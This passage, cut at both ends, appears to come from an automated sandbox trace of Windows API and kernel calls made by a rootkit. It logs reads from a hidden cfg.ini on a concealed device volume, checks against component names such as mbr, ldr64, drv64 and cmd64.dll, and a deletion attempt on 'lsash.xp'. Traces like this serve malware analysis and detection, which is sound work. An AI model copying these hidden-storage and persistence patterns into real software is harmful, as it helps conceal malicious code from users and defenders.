FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.762] KeLeaveCriticalRegion () [0125.762] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.762] KeEnterCriticalRegion () [0125.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.762] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.762] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.762] KeLeaveCriticalRegion () [0125.762] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.763] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.763] KeEnterCriticalRegion () [0125.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.763] ExFreePoolWithTag (P=0xfffffa800369d010, Tag=0x0) [0125.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.763] KeLeaveCriticalRegion () [0125.763] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.763] ReleaseMutex (hMutex=0xf0) returned 1 [0125.763] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.763] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.763] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.763] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.763] KeEnterCriticalRegion () [0125.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.763] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.763] IdePortDispatch () returned 0x103 [0125.763] KeWaitForMutexObject () returned 0x0 [0125.763] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.763] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.763] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.763] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.763] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.763] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.763] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.763] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.763] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.763] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.763] KeLeaveCriticalRegion () [0125.763] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.764] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.764] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.764] KeEnterCriticalRegion () [0125.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.764] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.764] IdePortDispatch () returned 0x103 [0125.764] KeWaitForMutexObject () returned 0x0 [0125.764] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.764] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.764] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.764] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.764] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.764] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.764] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.764] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.764] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.764] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.764] KeLeaveCriticalRegion () [0125.764] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.764] ReleaseMutex (hMutex=0x100) returned 1 [0125.764] Sleep (dwMilliseconds=0x2bf20) [0125.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e28a510, dwHighDateTime=0x1d24fa4)) [0125.770] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.770] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.770] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.770] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.771] KeEnterCriticalRegion () [0125.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.771] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.771] IdePortDispatch () returned 0x103 [0125.771] KeWaitForMutexObject () returned 0x0 [0125.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.771] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.771] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.771] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.771] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.771] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c60 [0125.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.771] KeLeaveCriticalRegion () [0125.771] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.771] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.771] KeEnterCriticalRegion () [0125.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.771] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.771] KeLeaveCriticalRegion () [0125.771] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.771] KeEnterCriticalRegion () [0125.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.771] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.771] IdePortDispatch () returned 0x103 [0125.771] KeWaitForMutexObject () returned 0x0 [0125.772] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.772] KeLeaveCriticalRegion () [0125.772] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.772] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.772] KeEnterCriticalRegion () [0125.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce4000 [0125.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.772] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.772] IdePortDispatch () returned 0x103 [0125.772] KeWaitForMutexObject () returned 0x0 [0125.772] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.772] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.772] IdePortDispatch () returned 0x103 [0125.772] KeWaitForMutexObject () returned 0x0 [0125.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.772] KeLeaveCriticalRegion () [0125.772] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.773] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.773] KeEnterCriticalRegion () [0125.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.773] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.773] KeLeaveCriticalRegion () [0125.773] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.773] KeEnterCriticalRegion () [0125.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.773] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.773] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.773] KeLeaveCriticalRegion () [0125.773] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.773] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.773] KeEnterCriticalRegion () [0125.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.773] ExFreePoolWithTag (P=0xfffffa8003bf9c60, Tag=0x0) [0125.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.773] KeLeaveCriticalRegion () [0125.773] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.773] ReleaseMutex (hMutex=0xf0) returned 1 [0125.773] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.773] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.773] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.773] KeEnterCriticalRegion () [0125.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.773] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.773] IdePortDispatch () returned 0x103 [0125.774] KeWaitForMutexObject () returned 0x0 [0125.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.774] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.774] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.774] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.774] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.774] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800369d090 [0125.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.774] KeLeaveCriticalRegion () [0125.774] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.774] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.774] KeEnterCriticalRegion () [0125.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.774] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.774] KeLeaveCriticalRegion () [0125.774] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.774] KeEnterCriticalRegion () [0125.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.774] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.774] IdePortDispatch () returned 0x103 [0125.774] KeWaitForMutexObject () returned 0x0 [0125.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.775] KeLeaveCriticalRegion () [0125.775] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.775] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.775] KeEnterCriticalRegion () [0125.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.775] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce5000 [0125.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.775] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.775] IdePortDispatch () returned 0x103 [0125.775] KeWaitForMutexObject () returned 0x0 [0125.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.775] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.775] IdePortDispatch () returned 0x103 [0125.775] KeWaitForMutexObject () returned 0x0 [0125.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.775] KeLeaveCriticalRegion () [0125.775] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.776] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.776] KeEnterCriticalRegion () [0125.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.776] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.776] KeLeaveCriticalRegion () [0125.776] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.776] KeEnterCriticalRegion () [0125.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.776] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.776] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.776] KeLeaveCriticalRegion () [0125.776] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.776] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.776] KeEnterCriticalRegion () [0125.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.776] ExFreePoolWithTag (P=0xfffffa800369d090, Tag=0x0) [0125.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.776] KeLeaveCriticalRegion () [0125.776] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.776] ReleaseMutex (hMutex=0xf0) returned 1 [0125.776] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.776] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.776] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.776] KeEnterCriticalRegion () [0125.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.776] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.776] IdePortDispatch () returned 0x103 [0125.776] KeWaitForMutexObject () returned 0x0 [0125.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.777] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.777] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.777] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.777] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.777] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf90d0 [0125.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.777] KeLeaveCriticalRegion () [0125.777] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.777] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.777] KeEnterCriticalRegion () [0125.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.777] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.777] KeLeaveCriticalRegion () [0125.777] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.777] KeEnterCriticalRegion () [0125.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 